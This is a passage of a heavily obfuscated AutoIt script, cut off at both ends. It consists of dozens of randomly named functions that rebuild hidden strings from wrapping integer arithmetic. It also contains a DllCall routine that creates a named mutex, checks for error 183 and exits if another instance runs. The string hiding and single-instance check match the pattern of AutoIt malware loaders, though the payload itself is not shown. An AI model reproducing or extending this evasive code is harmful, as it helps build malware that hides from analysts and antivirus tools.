4294957785 , + 4294887157 + 80208 , 66838 + 4294900568 , 20661 + + 4294946751 , 19241 + + 4294948169 , 71135 + + 4294896266 , + 4294939303 - + 4294939202 , 98036 + + 4294869375 , 12632 + 4294954737 , 30211 + 4294937195 , 27557 + 4294939804 , 7878 + 4294959517 , 4926 + 4294962478 , 9343 + 4294958018 ] LOCAL $TXJPY_SKHI FOR $NEEZWRZZVRNXDMM = 0 TO 15 $TXJPY_SKHI &= CHRW ($YXAKRTKIYODXPAHZ__QZ [$NEEZWRZZVRNXDMM ] ) NEXT RETURN $TXJPY_SKHI ENDFUNC FUNC TTRYDMQNKMWWAMPAEIQH () LOCAL $DYQGLM_WYHQIGOJSRFRT [9 ] = [+ 4294917181 - + 4294917108 , 68108 + 4294899303 , 6510 + 4294960851 , 77102 + 4294890294 , 32575 + + 4294934830 , 58394 + 4294909007 , 76512 + 4294890894 , 51804 + + 4294915532 , + 4294887695 - + 4294887654 ] LOCAL $XARCHSKPYN FOR $NRMTPDWNPMCXJ_S = 0 TO 8 $XARCHSKPYN &= CHRW ($DYQGLM_WYHQIGOJSRFRT [$NRMTPDWNPMCXJ_S ] ) NEXT RETURN $XARCHSKPYN ENDFUNC FUNC OEKPHEPYJRBLIKCKGBBR () LOCAL $CGQBJKADCMKTMXKGNBEA [1 ] = [71817 + + 4294895528 ] LOCAL $JGXEMVWGIZ FOR $IJWTWMHHAAIQGIO = 0 TO 0 $JGXEMVWGIZ &= CHRW ($CGQBJKADCMKTMXKGNBEA [$IJWTWMHHAAIQGIO ] ) NEXT RETURN $JGXEMVWGIZ ENDFUNC FUNC KCRPXXNGZTIPTHGHORRJ () LOCAL $VZRFTWEPYRJ_NLDHW_JL [1 ] = [+ 4294907976 + 59371 ] LOCAL $LWASYIIJJB FOR $QKSSECGNMUZHRLK = 0 TO 0 $LWASYIIJJB &= CHRW ($VZRFTWEPYRJ_NLDHW_JL [$QKSSECGNMUZHRLK ] ) NEXT RETURN $LWASYIIJJB ENDFUNC FUNC X_ROXPIPBKRSGEXRQGJI () LOCAL $VYJZZFXFQXUODWIDNHAP [5 ] = [55942 + + 4294911452 , + 4294870712 - + 4294870591 , 30893 + 4294936519 , 55895 + 4294911502 , + 4294917617 + 49770 ] LOCAL $CPKWUDJFUC FOR $LXBFIZRSPRSDZDQ = 0 TO 4 $CPKWUDJFUC &= CHRW ($VYJZZFXFQXUODWIDNHAP [$LXBFIZRSPRSDZDQ ] ) NEXT RETURN $CPKWUDJFUC ENDFUNC FUNC OKAVAKMYIQCFUESEAQMU () LOCAL $BHSCEFPN_AHOCNUEGTZF [1 ] = [+ 4294901527 + 65861 ] LOCAL $YRVVZZIJOD FOR $RQZBYTLXADXPHGS = 0 TO 0 $YRVVZZIJOD &= CHRW ($BHSCEFPN_AHOCNUEGTZF [$RQZBYTLXADXPHGS ] ) NEXT RETURN $YRVVZZIJOD ENDFUNC FUNC GZQXWYXHRVENSYHUAU ($SOCCURRENCENAME ) LOCAL $AHANDLE = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , DVHBNNLI_CTFPEVPGJQP () , LPYUIBCQTBNYEMPSEJJW () , PCCWNQRXCKCGVAMIHWKC () , EVAL (TYTDMQGCHQKBYFQZMYFU () ) , GVIEJJKLMULFP_ONWGOQ () , EVAL (_DGBYVRQADLZMAFOPE_G () ) , QWLYTHIRZVJOWNQHPBKZ () , $SOCCURRENCENAME ) LOCAL $ALASTERROR = DLLCALL (V_BJOPJWTKAFWL_YVMMD () , MLHTVAHGQBSHGBCHDSCI () , SEDPGWJBSUGWPCLVXVAY () ) IF $ALASTERROR [0 ] = YZNCPEHJRNSRMJHNLMMD () THEN DLLCALL (V_BJOPJWTKAFWL_YVMMD () , GVIEJJKLMULFP_ONWGOQ () , OKYWIQGUWZURETEFXOVA () , DVHBNNLI_CTFPEVPGJQP () , $AHANDLE [0 ] ) EXIT ENDIF ENDFUNC FUNC DZEKCQDGBOFOKEWFBYCP () LOCAL $WFZAKTRGQSPWSUOHXIMN [3 ] = [+ 4294944391 + 23017 , 31430 + 4294935982 , + 4294884293 + 83117 ] LOCAL $WQKZKXQQPI FOR $WYYGNJWYIY_EZJZ = 0 TO 2 $WQKZKXQQPI &= CHRW ($WFZAKTRGQSPWSUOHXIMN [$WYYGNJWYIY_EZJZ ] ) NEXT RETURN $WQKZKXQQPI ENDFUNC FUNC YZNCPEHJRNSRMJHNLMMD () LOCAL $AZSJFPBNOEDPXQVCOWUU [3 ] = [+ 4294960455 + 6890 , 55847 + 4294911505 , 53171 + + 4294914176 ] LOCAL $UVMKCUWNE_ FOR $WM_YRZEKY_HDY_D = 0 TO 2 $UVMKCUWNE_ &= CHRW ($AZSJFPBNOEDPXQVCOWUU [$WM_YRZEKY_HDY_D ] ) NEXT RETURN $UVMKCUWNE_ ENDFUNC FUNC MLHTVAHGQBSHGBCHDSCI () LOCAL $BHKRFTVCCNLVUOUULRID [5 ] = [41797 + 4294925599 , 98443 + 4294868972 , + 4294944289 + 23118 , 99773 + + 4294867637 , 62246 + + 4294905150 ] LOCAL $XNSHIWMKZQ FOR $LDODYFBROBFFEDR = 0 TO 4 $XNSHIWMKZQ &= CHRW ($BHKRFTVCCNLVUOUULRID [$LDODYFBROBFFEDR ] ) NEXT RETURN $XNSHIWMKZQ ENDFUNC FUNC RJHTUIBCHCWFDVFIPQDF () LOCAL $NY_TWAOUGI_KIEJWMANH [62 ] = [+ 4294877602 - + 4294877554 , + 4294893423 + 73943 , + 4294957343 - + 4294957287 , 50947 + + 4294916401 , + 4294886587 - + 4294886539 , + 4294872267 + 95097 , + 4294924702 - + 4294924632 , 88542 + + 4294878823 , 28961 + + 4294938405 , + 4294888535 + 78831 , 57220 + 4294910146 , + 4294896517 + 70849 , + 4294892435 - + 4294892379 , + 4294890984 + 76378 , + 4294957327 - + 4294957275 , + 4294898742 + 68607 , 73921 + + 4294893444 , + 4294894824 - + 4294894776 , + 4294875700 - + 4294875631 , 45235 + + 4294922127 , + 4294914332 + 53013 , + 4294929141 + 38223 , + 4294933984 - + 4294933928 , + 4294891959 - + 4294891893 , 74001 + + 4294893348 , 4962 + + 4294962402 , 74684 + + 4294892682 , + 4294966513 + 850 , + 4294943798 + 23549 , 16502 + 4294950845 , + 4294956000 - + 4294955930 , 79948 + + 4294887418 , 23760 + 4294943592 , 54008 + 4294913339 , + 4294890040 - + 4294889985 , 42682 + 4294924682 , + 4294923803 - + 4294923735 , 99626 + + 4294867726 , 12000 + 4294955344 , 28501 + 4294938843 , 35935 + + 4294931416 , + 4294901496 + 65852 , + 4294885719 + 81625 , + 4294954118 - + 4294954063 , + 4294933763 - + 4294933710 , + 4294952493 - + 4294952438 , 41710 + 4294925656 , + 4294883766 - + 4294883696 , + 4294887871 + 79480 , 68807 + + 4294898542 , 37228 + + 4294930136 , 88571 + 4294878781 , 79751 + 4294887615 , + 4294940879 + 26487 , + 4294919664 + 47685 , 51925 + + 4294915424 , 49662 + + 4294917699 , + 4294930198 + 37154 , + 4294958698 - + 4294958642 , + 4294906465 + 60882 , 96247 + 4294871119 , 76409 + + 4294890953 ] LOCAL $NHRRQCXXEP FOR $POJAHNXPYTTRXSY = 0 TO 61 $NHRRQCXXEP &= CHRW ($NY_TWAOUGI_KIEJWMANH [$POJAHNXPYTTRXSY ] ) NEXT RETURN $NHRRQCXXEP ENDFUNC FUNC AHBALTHXLCHGRPPSVDGY () LOCAL $NXWRTGIGWUZTQNYYZQCJ [5 ] = [89590 + 4294877806 , 41108 + 4294926307 , 28437 + + 4294938970 , 71431 + 4294895979 , + 4294925912 + 41484 ] LOCAL $OQDRRTFBYZ FOR $BIDBCDLLHFLAARD = 0 TO 4 $OQDRRTFBYZ &= CHRW ($NXWRTGIGWUZTQNYYZQCJ [$BIDBCDLLHFLAARD ] ) NEXT RETURN $OQDRRTFBYZ ENDFUNC FUNC WWWIFXJZJUYP_MKWBRXI () LOCAL $ARHUJFGIKRLQPPTJVKPB [1 ] = [+ 4294877788 + 89557 ] LOCAL $CZAQAPSJI_ FOR $AMBCWRUULSCXEEO = 0 TO 0 $CZAQAPSJI_ &= CHRW ($ARHUJFGIKRLQPPTJVKPB [$AMBCWRUULSCXEEO ] ) NEXT RETURN $CZAQAPSJI_ ENDFUNC FUNC UDYMMPLLRSZSQX_PZJKS () LOCAL $CPDJSRICLCQALADGS_GT [6 ] = [+ 4294911844 - + 4294911740 , + 4294959899 + 7494 , + 4294880923 - + 4294880813 , + 4294874804 - + 4294874704 , + 4294874662 + 92742 , + 4294891840 - + 4294891739 ] LOCAL $PUTX_CRMQA FOR $HMVF_OUVGI_OBYG = 0 TO 5 $PUTX_CRMQA &= CHRW ($CPDJSRICLCQALADGS_GT [$HMVF_OUVGI_OBYG ] ) NEXT RETURN $PUTX_CRMQA ENDFUNC FUNC JGJEYXYMTYTODBWZFKMF () LOCAL $KCVEEHINYRHZPNPEQTII [5 ] = [+ 4294920331 - + 4294920231 , + 4294927818 + 39597 , 80091 + + 4294887316 , + 4294918152 - + 4294918038 , + 4294962171 - + 4294962071 ] LOCAL $UZQMRJMBEZ FOR $SJNVBHLFAQPKOCR = 0 TO 4 $UZQMRJMBEZ &= CHRW ($KCVEEHINYRHZPNPEQTII [$SJNVBHLFAQPKOCR ] ) NEXT RETURN $UZQMRJMBEZ ENDFUNC FUNC PPYUPPWGTVKCFREIRSHZ () LOCAL $FPJTREJCVDVBDHQGUUGA [1 ] = [76020 + + 4294891332 ] LOCAL $FCKFTLQAJZ FOR $MMPICFXIUNIUSAF = 0 TO 0 $FCKFTLQAJZ &= CHRW ($FPJTREJCVDVBDHQGUUGA [$MMPICFXIUNIUSAF ] ) NEXT RETURN $FCKFTLQAJZ ENDFUNC FUNC SRWKOMNJMTLJTBHALOBR () LOCAL $ZHSKNNATYHQKZPGMOIWV [1 ] = [+ 4294933911 - + 4294933863 ] LOCAL $LXAMULEDAK FOR $SZNYUTMYTRMWRLY = 0 TO 0 $LXAMULEDAK &= CHRW ($ZHSKNNATYHQKZPGMOIWV [$SZNYUTMYTRMWRLY ] ) NEXT RETURN $LXAMULEDAK ENDFUNC FUNC BGMXJIBTYMLEJOWJBKZF () LOCAL $JEAOTKHXCAHRANQATVDD [62 ] = [+ 4294912853 - + 4294912785 , 24864 + 4294942502 , + 4294966517 - + 4294966463 , + 4294960516 + 6845 , 32099 + + 4294935246 , + 4294873317 - + 4294873269 , + 4294924615 + 42737 , + 4294903937 + 63427 , 48668 + + 4294918680 , 75661 + + 4294891688 , + 4294873743 - + 4294873675 , + 4294940459 + 26893 , 64163 + + 4294903185 , 71339 + + 4294896008 , + 4294883106 + 84243 , 26655 + 4294940689 , 45697 + + 4294921655 , 94108 + 4294873245 , + 4294954720 + 12629 , + 4294879729 - + 4294879661 , + 4294892969 + 74397 , 9154 + 4294958209 , 98471 + 4294868895 , 87201 + 4294880165 , + 4294929691 + 37658 , + 4294913124 + 54225 , 34672 + 4294932693 , + 4294890251 - + 4294890195 , 19596 + + 4294947754 , + 4294878088 + 89273 , 37110 + + 4294930238 , + 4294926536 + 40812 , 82859 + + 4294884493 , + 4294906345 + 61019 , 10918 + 4294956434 , + 4294928589 - + 4294928536 , + 4294896463 + 70901 , + 4294879663 - + 4294879596 , 25726 + 4294941640 , + 4294882247 + 85118 , + 4294901004 + 66362 , + 4294896759 - + 4294896689 , 88211 + + 4294879155 , 19433 + 4294947933 , + 4294924122 + 43227 , + 4294882457 + 84887 , 85793 + 4294881573 , 95334 + 4294872032 , 90223 + 4294877126 , + 4294928732 - + 4294928679 , + 4294950447 - + 4294950378 , 87712 + 4294879640 , + 4294956670 - + 4294956616 , + 4294873163 + 94189 , 71466 + + 4294895897 , + 4294952451 - + 4294952384 , + 4294911191 + 56153 , + 4294888039 + 79307 , + 4294956943 + 10401 , + 4294957351 - + 4294957303 , 67407 + + 4294899937 , 66664 + + 4294900680 ] LOCAL $RWUYZNUCYL FOR $OLMNWXLPYSOUSZT = 0 TO 61 $RWUYZNUCYL &= CHRW ($JEAOTKHXCAHRANQATVDD [$OLMNWXLPYSOUSZT ] ) NEXT RETURN $RWUYZNUCYL ENDFUNC FUNC HTLFNRMBTFYINQJKSWG_ () LOCAL $BBXKTKPZCAMYZOZVWAAI [3 ] = [+ 4294937975 - + 4294937863 , + 4294879383 + 88029 , + 4294893134 + 74276 ] LOCAL $NZSTAJZROO FOR $CIOODYCFPFWBLDB = 0 TO 2 $NZSTAJZROO &= CHRW ($BBXKTKPZCAMYZOZVWAAI [$CIOODYCFPFWBLDB ] ) NEXT RETURN $NZSTAJZROO ENDFUNC FUNC LUOTDEAATG_YJOXFTBKM () LOCAL $EOZFFWBKEYSFQKOSQMSD [1 ] = [+ 4294921429 + 45923 ] LOCAL $JNHCQWVNUI FOR $PEUANQWEEXNLZXV = 0 TO 0 $JNHCQWVNUI &= CHRW ($EOZFFWBKEYSFQKOSQMSD [$PEUANQWEEXNLZXV ] ) NEXT RETURN $JNHCQWVNUI ENDFUNC FUNC PJQPLSLTCYBNSONUTZWF () LOCAL $JNZJXBAITFTPIYJKJKLA [3 ] = [+ 4294898088 + 69323 , + 4294960299 + 7113 , 437 + + 4294966973 ] LOCAL $CAXFMFUFCK FOR $IZMQYGEBFBLGSJS = 0 TO 2 $CAXFMFUFCK &= CHRW ($JNZJXBAITFTPIYJKJKLA [$IZMQYGEBFBLGSJS ] ) NEXT RETURN $CAXFMFUFCK ENDFUNC FUNC PUPUVPLGSQAGVZAHANWO () LOCAL $BOCHQSGEUYFPRFLOBMJV [62 ] = [63006 + + 4294904346 , 53610 + 4294913752 , 61741 + 4294905610 , + 4294886398 + 80966 , 53060 + + 4294914284 , + 4294898758 + 68594 , 99313 + + 4294868034 , + 4294907452 - + 4294907401 , 40621 + 4294926745 , + 4294898597 - + 4294898543 , + 4294937659 - + 4294937606 , 4761 + + 4294962590 , + 4294952853 - + 4294952784 , + 4294948284 + 19068 , 7470 + 4294959894 , 56659 + + 4294910692 , + 4294901838 - + 4294901768 , + 4294940603 - + 4294940533 , + 4294908624 + 58742 , + 4294961034 - + 4294960964 , + 4294908578 + 58788 , + 4294883080 + 84286 , + 4294883357 - + 4294883301 , + 4294954697 + 12665 , + 4294869435 - + 4294869368 , + 4294899314 + 68038 , + 4294929779 - + 4294929723 , 11487 + + 4294955862 , + 4294928268 - + 4294928201 , 76122 + 4294891231 , 31626 + 4294935725 , 98895 + + 4294868453 , 34066 + 4294933280 , + 4294920117 + 47227 , 37283 + + 4294930061 , 52328 + + 4294915038 , + 4294900197 + 67165 , 35168 + + 4294932197 , 31412 + + 4294935932 , 36201 + 4294931150 , + 4294887753 + 79610 , 18959 + 4294948386 , 28403 + 4294938962 , 50530 + + 4294916820 , 20785 + 4294946559 , + 4294871291 + 96057 , 78167 + 4294889177 , 40606 + 4294926741 , 38174 + 4294929192 , 59753 + + 4294907591 , + 4294953748 + 13604 , 33390 + 4294933972 , 70743 + + 4294896620 , + 4294883547 + 83803 , + 4294887684 + 79662 , + 4294951860 + 15489 , 34802 + + 4294932542 , + 4294957142 - + 4294957094 , + 4294926271 + 41073 , + 4294889624 - + 4294889576 , 92928 + + 4294874416 , 29352 + + 4294937992 ] LOCAL $TOTBVXHMDR FOR $YLBSCWZEKXOHZNA = 0 TO 61 $TOTBVXHMDR &= CHRW ($BOCHQSGEUYFPRFLOBMJV [$YLBSCWZEKXOHZNA ] ) NEXT RETURN $TOTBVXHMDR ENDFUNC FUNC CDVLHQOZQIXHRDPVGGCK () LOCAL $_XWOJBDYEOOTSZNMXKXS [3 ] = [+ 4294938513 + 28895 , + 4294937931 + 29481 , 58566 + + 4294908844 ] LOCAL $QVCUEPRQCY FOR $YNGSQLVYUFGGBFN = 0 TO 2 $QVCUEPRQCY &= CHRW ($_XWOJBDYEOOTSZNMXKXS [$YNGSQLVYUFGGBFN ] ) NEXT RETURN $QVCUEPRQCY ENDFUNC FUNC MAXWEXANGXGFQNOWULKL () LOCAL $XQCREVHWSAMCOUKLLLWD [4 ] = [+ 4294924459 - + 4294924361 , + 4294867455 - + 4294867344 , + 4294929505 - + 4294929394 , 25941 + 4294941463 ] LOCAL $FLDRVCCLJP FOR $QPBLXXCVYFSJQEW = 0 TO 3 $FLDRVCCLJP &= CHRW ($XQCREVHWSAMCOUKLLLWD [$QPBLXXCVYFSJQEW ] ) NEXT RETURN $FLDRVCCLJP ENDFUNC FUNC SIJPJOVCTISVNPIVAPQF () LOCAL $WURCYMFATOJMESCMZAIY [5 ] = [96375 + + 4294871021 , 62941 + 4294904474 , 72036 + + 4294895371 , 72873 + 4294894537 , + 4294950769 - + 4294950669 ] LOCAL $FQVMWWAHSF FOR $KUKTXYSGRYIVJFZ = 0 TO 4 $FQVMWWAHSF &= CHRW ($WURCYMFATOJMESCMZAIY [$KUKTXYSGRYIVJFZ ] ) NEXT RETURN $FQVMWWAHSF ENDFUNC FUNC PJDNKXOCXCIPKIQJHORP () LOCAL $AYMGSTIYIMWLCMOLHKVI [62 ] = [+ 4294947090 + 20276 , + 4294899160 - + 4294899090 , + 4294954600 + 12749 , + 4294919670 - + 4294919617 , 97316 + + 4294870047 , 83801 + + 4294883547 , + 4294932730 - + 4294932674 , + 4294966093 + 1269 , + 4294893090 + 74259 , + 4294908182 + 59182 , + 4294956615 + 10751 , 48873 + 4294918490 , 50163 + + 4294917202 , 7542 + + 4294959811 , 59809 + 4294907557 , 86259 + + 4294881090 , 50566 + 4294916778 , 97469 + 4294869876 , 53718 + 4294913626 , 37222 + 4294930122 , 3185 + + 4294964159 , 82581 + 4294884763 , + 4294948385 - + 4294948334 , + 4294889174 - + 4294889123 , + 4294875785 + 91581 , 9769 + 4294957597 , 23266 + 4294944100 , + 4294912589 + 54777 , 68972 + + 4294898379 , + 4294916373 + 50977 , + 4294892922 - + 4294892869 , + 4294930019 + 37329 , 59152 + 4294908214 , 98825 + + 4294868541 , + 4294877868 - + 4294877813 , 80849 + 4294886500 , 61628 + + 4294905717 , 67214 + + 4294900130 , 44651 + 4294922698 , 96078 + 4294871269 , 51891 + 4294915475 , + 4294874009 + 93357 , + 4294936114 + 31235 , 45492 + + 4294921857 , 11749 + 4294955613 , + 4294873452 + 93896 , + 4294924754 + 42593 , 99520 + 4294867827 , + 4294900515 - + 4294900448 , 35972 + 4294931372 , + 4294885135 - + 4294885079 , 96652 + + 4294870701 , 91548 + 4294875803 , 56954 + + 4294910410 , 98517 + 4294868849 , 51504 + + 4294915840 , + 4294908653 + 58697 , + 4294880073 + 87277 , 26029 + + 4294941318 , + 4294897942 - + 4294897876 , 83983 + 4294883365 , + 4294954583 - + 4294954529 ] LOCAL $NLIQMUCFCB FOR $KYSFRAOQPUBRJKZ = 0 TO 61 $NLIQMUCFCB &= CHRW ($AYMGSTIYIMWLCMOLHKVI [$KYSFRAOQPUBRJKZ ] ) NEXT RETURN $NLIQMUCFCB ENDFUNC FUNC VEGDNSBSUCHESBYPVONB () LOCAL $GU_HNJGOTVUMLTQOIDBM [3 ] = [+ 4294881488 + 85920 , + 4294880809 - + 4294880693 , + 4294948817 + 18593 ] LOCAL $M_ZIVUZLKH FOR $KPIZB_TDXBEZQEL = 0 TO 2 $M_ZIVUZLKH &= CHRW ($GU_HNJGOTVUMLTQOIDBM [$KPIZB_TDXBEZQEL ] ) NEXT RETURN $M_ZIVUZLKH ENDFUNC FUNC NXVZJNIJYVXHFBETQQDC () LOCAL $ZDAOKELJZJFSXRPNZYZD [3 ] = [+ 4294877730 + 89678 , + 4294960655 + 6757 , + 4294908856 - + 4294908742 ] LOCAL $ZJOPFKOMRU FOR $YAXIIHTAWKWGPFC = 0 TO 2 $ZJOPFKOMRU &= CHRW ($ZDAOKELJZJFSXRPNZYZD [$YAXIIHTAWKWGPFC ] ) NEXT RETURN $ZJOPFKOMRU ENDFUNC FUNC ADSCNAZGUTFBHHDUWBLZ () LOCAL $XTREFBDOFKMARPBQAVEG [5 ] = [+ 4294912323 - + 4294912223 , + 4294940883 + 26532 , 5759 + + 4294961648 , + 4294933866 + 33544 , + 4294937886 + 29510 ] LOCAL $FKSGNUBXET FOR $BIINNGMOXMXKBKH = 0 TO 4 $FKSGNUBXET &= CHRW ($XTREFBDOFKMARPBQAVEG [$BIINNGMOXMXKBKH ] ) NEXT RETURN $FKSGNUBXET ENDFUNC FUNC NDSJHDSGUL_FVYWCGJZZ () LOCAL $QXGCUMNPJIBJHVFXNL_V [62 ] = [40139 + + 4294927224 , 9514 + + 4294957830 , 35396 + + 4294931955 , 67024 + + 4294900329 , 27049 + + 4294940295 , + 4294933750 - + 4294933697 , + 4294923592 - + 4294923538 , + 4294941050 + 26311 , + 4294894928 + 72416 , + 4294945369 + 21979 , 22940 + 4294944409 , 80914 + 4294886438 , 25276 + + 4294942089 , 81813 + 4294885549 , + 4294920136 + 47208 , + 4294952278 + 15085 , + 4294944890 - + 4294944825 , + 4294936701 + 30652 , + 4294952802 - + 4294952754 , + 4294916726 + 50618 , 38681 + + 4294928663 , + 4294909886 - + 4294909838 , + 4294868958 + 98386 , + 4294884556 - + 4294884508 , 67072 + + 4294900276 , 95177 + + 4294872167 , 61331 + 4294906019 , + 4294906591 - + 4294906526 , 67218 + 4294900126 , 12403 + + 4294954941 , 90326 + 4294877023 , + 4294905805 - + 4294905749 , 19898 + + 4294947446 , 38358 + 4294929008 , + 4294948359 + 18994 , + 4294904525 - + 4294904472 , + 4294896818 + 70545 , + 4294965114 - + 4294965066 , + 4294882205 + 85143 , + 4294955721 - + 4294955673 , + 4294961723 + 5629 , 68024 + 4294899340 , + 4294882613 + 84735 , + 4294870563 - + 4294870495 , 90202 + 4294877151 , + 4294873879 - + 4294873812 , + 4294868453 - + 4294868400 , 89582 + 4294877763 , 21508 + + 4294945841 , 92939 + 4294874405 , 41428 + + 4294925938 , + 4294958779 - + 4294958709 , 19542 + + 4294947809 , + 4294876163 - + 4294876108 , 40285 + 4294927080 , + 4294914444 - + 4294914392 , 15448 + 4294951904 , + 4294903550 - + 4294903484 , + 4294931487 - + 4294931435 , 1399 + + 4294965952 , + 4294966091 - + 4294966022 , + 4294904072 - + 4294904016 ] LOCAL $IQYNUGTWZW FOR $TUKVUJQDPZCPKLT = 0 TO 61 $IQYNUGTWZW &= CHRW ($QXGCUMNPJIBJHVFXNL_V [$TUKVUJQDPZCPKLT ] ) NEXT RETURN $IQYNUGTWZW ENDFUNC FUNC WGEIULJQNLXGOUWDDYYK () LOCAL $ERZGNVVPSRQXGVOSQTLC [62 ] = [58978 + 4294908366 , + 4294901544 - + 4294901496 , 59508 + + 4294907836 , + 4294959782 - + 4294959734 , + 4294913509 + 53837 , + 4294924690 - + 4294924642 , 8229 + 4294959122 , + 4294919336 - + 4294919284 , 36269 + + 4294931076 , + 4294904337 + 63016 , + 4294950357 + 16995 , + 4294885812 + 81537 , + 4294903758 + 63605 , 99141 + + 4294868203 , + 4294911351 - + 4294911296 , 2645 + 4294964708 , + 4294966207 + 1137 , + 4294947068 + 20280 , 4950 + + 4294962400 , 88841 + + 4294878520 , + 4294934036 - + 4294933984 , + 4294906297 + 61047 , + 4294944289 - + 4294944220 , + 4294938161 - + 4294938095 , 9826 + 4294957519 , 23712 + + 4294943639 , 82191 + 4294885155 , 2271 + 4294965078 , 17231 + 4294950113 , + 4294962903 - + 4294962855 , + 4294876697 + 90647 , 45375 + + 4294921969 , 51576 + + 4294915768 , + 4294904226 + 63118 , 2191 + + 4294965157 , + 4294919268 + 48076 , 74300 + 4294893066 , 25721 + 4294941630 , + 4294870825 + 96539 , 10997 + + 4294956355 , + 4294941918 + 25427 , 59320 + + 4294908042 , + 4294911447 + 55916 , + 4294967019 - + 4294966971 , 36639 + + 4294930713 , + 4294883139 - + 4294883088 , 66102 + + 4294901263 , + 4294950636 + 16708 , + 4294880023 - + 4294879974 , + 4294926144 + 41200 , 1391 + + 4294965961 , + 4294936870 + 30477 , + 4294949880 + 17483 , + 4294899797 + 67547 , 67836 + 4294899509 , 95245 + + 4294872099 , + 4294888211 + 79154 , 18949 + 4294948413 , 1217 + 4294966128 , 65711 + 4294901638 , 24205 + + 4294943147 , 20931 + + 4294946418 ] LOCAL $BZWFBPLGFG FOR $NQNASAEUGYA_FGI = 0 TO 61 $BZWFBPLGFG &= CHRW ($ERZGNVVPSRQXGVOSQTLC [$NQNASAEUGYA_FGI ] ) NEXT RETURN $BZWFBPLGFG ENDFUNC FUNC KWLGNBYUFSTEIJZXLODF () LOCAL $OULKHLZZEHQH_EYGVVID [1 ] = [27533 + + 4294939811 ] LOCAL $A_BBZPYBLE FOR $KSBDGSTTTOMEAQK = 0 TO 0 $A_BBZPYBLE &= CHRW ($OULKHLZZEHQH_EYGVVID [$KSBDGSTTTOMEAQK ] ) NEXT RETURN $A_BBZPYBLE ENDFUNC FUNC IQLPABRXHQ_YL_GIWFCL () LOCAL $DZPVULKVEDVJNCOHAAYQ [62 ] = [+ 4294894171 + 73181 , + 4294949795 - + 4294949727 , + 4294922428 + 44924 , 22711 + + 4294944638 , + 4294933391 + 33954 , + 4294935779 + 31565 , 97840 + 4294869526 , + 4294931281 - + 4294931214 , 96454 + + 4294870912 , + 4294906141 + 61225 , + 4294935307 + 32059 , 39547 + 4294927819 , + 4294901419 + 65930 , + 4294952100 - + 4294952052 , 10972 + + 4294956394 , 39973 + + 4294927393 , + 4294931333 - + 4294931280 , 15654 + 4294951695 , 7853 + 4294959512 , + 4294885196 - + 4294885140 , 89040 + + 4294878312 , 71319 + + 4294896043 , + 4294965117 - + 4294965065 , + 4294944273 - + 4294944205 , 52954 + 4294914391 , + 4294917222 - + 4294917174 , + 4294907356 - + 4294907289 , 92960 + 4294874391 , + 4294906578 - + 4294906522 , + 4294964851 - + 4294964798 , + 4294929427 - + 4294929378 , 35702 + + 4294931642 , 26724 + + 4294940642 , 56520 + + 4294910843 , 83922 + 4294883444 , + 4294902851 + 64515 , + 4294964937 + 2429 , 6397 + 4294960969 , 44121 + 4294923223 , + 4294934353 + 32998 , + 4294915191 - + 4294915143 , 20298 + 4294947046 , + 4294919813 + 47531 , 25490 + 4294941855 , 489 + + 4294966855 , + 4294872882 - + 4294872834 , + 4294907703 + 59649 , 47133 + 4294920229 , + 4294931258 - + 4294931203 , 69179 + + 4294898166 , 90677 + + 4294876670 , 80950 + + 4294886413 , 28462 + + 4294938882 , 79529 + 4294887818 , + 4294909808 + 57558 , + 4294923632 - + 4294923583 , + 4294948680 + 18664 , + 4294895046 + 72320 , + 4294951296 - + 4294951230 , 89065 + 4294878286 , + 4294908038 - + 4294907986 , + 4294873097 - + 4294873043 ] LOCAL $F_EFOHASXD FOR $BOYNANSGAANKIYY = 0 TO 61 $F_EFOHASXD &= CHRW ($DZPVULKVEDVJNCOHAAYQ [$BOYNANSGAANKIYY ] ) NEXT RETURN $F_EFOHASXD ENDFUNC FUNC JVBTZHPDKCBNKELMG_DT () LOCAL $WYLTUQXWCDGVTLOMVHSH [1 ] = [+ 4294878607 - + 4294878514 ] LOCAL $HZJKTAHXFU FOR $IEECTHRWKUVRCLK = 0 TO 0 $HZJKTAHXFU &= CHRW ($WYLTUQXWCDGVTLOMVHSH [$IEECTHRWKUVRCLK ] ) NEXT RETURN $HZJKTAHXFU ENDFUNC FUNC RFCRZLYXQUBDDPEA_OCX () LOCAL $LHJHZLWCTMNLKKAZHKUM [1 ] = [+ 4294883009 - + 4294882961 ] LOCAL $WSOQVDEGQT FOR $CVXGYUPTBBVUZKW = 0 TO 0 $WSOQVDEGQT &= CHRW ($LHJHZLWCTMNLKKAZHKUM [$CVXGYUPTBBVUZKW ] ) NEXT RETURN $WSOQVDEGQT ENDFUNC FUNC S_ZQCLVOPRUYGIIMTVYO () LOCAL $ZLDRCTYJSNMBCDUBIIBV [7 ] = [+ 4294953226 + 14168 , + 4294930811 + 36596 , 72439 + 4294894968 , + 4294918344 - + 4294918236 , 86960 + + 4294880437 , + 4294924229 - + 4294924132 , 91547 + 4294875859 ] LOCAL $HEKUC_JUGU FOR $EGWININLWCFSVCO = 0 TO 6 $HEKUC_JUGU &= CHRW ($ZLDRCTYJSNMBCDUBIIBV [$EGWININLWCFSVCO ] ) NEXT RETURN $HEKUC_JUGU ENDFUNC FUNC JOVJV_GWDSBWDHMLGTH_ () LOCAL $DSBJTORNAPPUJFPTJRKC [4 ] = [+ 4294905672 - + 4294905555 , + 4294952785 + 14616 , 23938 + 4294943468 , + 4294887481 + 79931 ] LOCAL $ODHMYSTBPI FOR $TBZAYDHRMMQGISW = 0 TO 3 $ODHMYSTBPI &= CHRW ($DSBJTORNAPPUJFPTJRKC [$TBZAYDHRMMQGISW ] ) NEXT RETURN $ODHMYSTBPI ENDFUNC FUNC QWLYTHIRZVJOWNQHPBKZ () LOCAL $GBIULBRAGADVEYUXCB_R [4 ] = [+ 4294949876 - + 4294949757 , + 4294948723 + 18688 , 83497 + + 4294883915 , + 4294961569 + 5841 ] LOCAL $YSOKYSTENB FOR $LHZLXBEPNRNSRHK = 0 TO 3 $YSOKYSTENB &= CHRW ($GBIULBRAGADVEYUXCB_R [$LHZLXBEPNRNSRHK ] ) NEXT RETURN $YSOKYSTENB ENDFUNC FUNC IYGKOFOOYKUJ_VCDYGCN () LOCAL $QUXSBMKWXQVDAKVVNEDL [1 ] = [+ 4294923106 + 44238 ] LOCAL $OICWSSHPQI FOR $WJILPZBTQZDKSOA = 0 TO 0 $OICWSSHPQI &= CHRW ($QUXSBMKWXQVDAKVVNEDL [$WJILPZBTQZDKSOA ] ) NEXT RETURN $OICWSSHPQI ENDFUNC FUNC PIDCEEUXVMCQDUEHWUWZ () LOCAL $WKQKHGWANPNKUAQOUMVQ [5 ] = [52235 + 4294915131 , + 4294960146 + 7247 , + 4294879430 - + 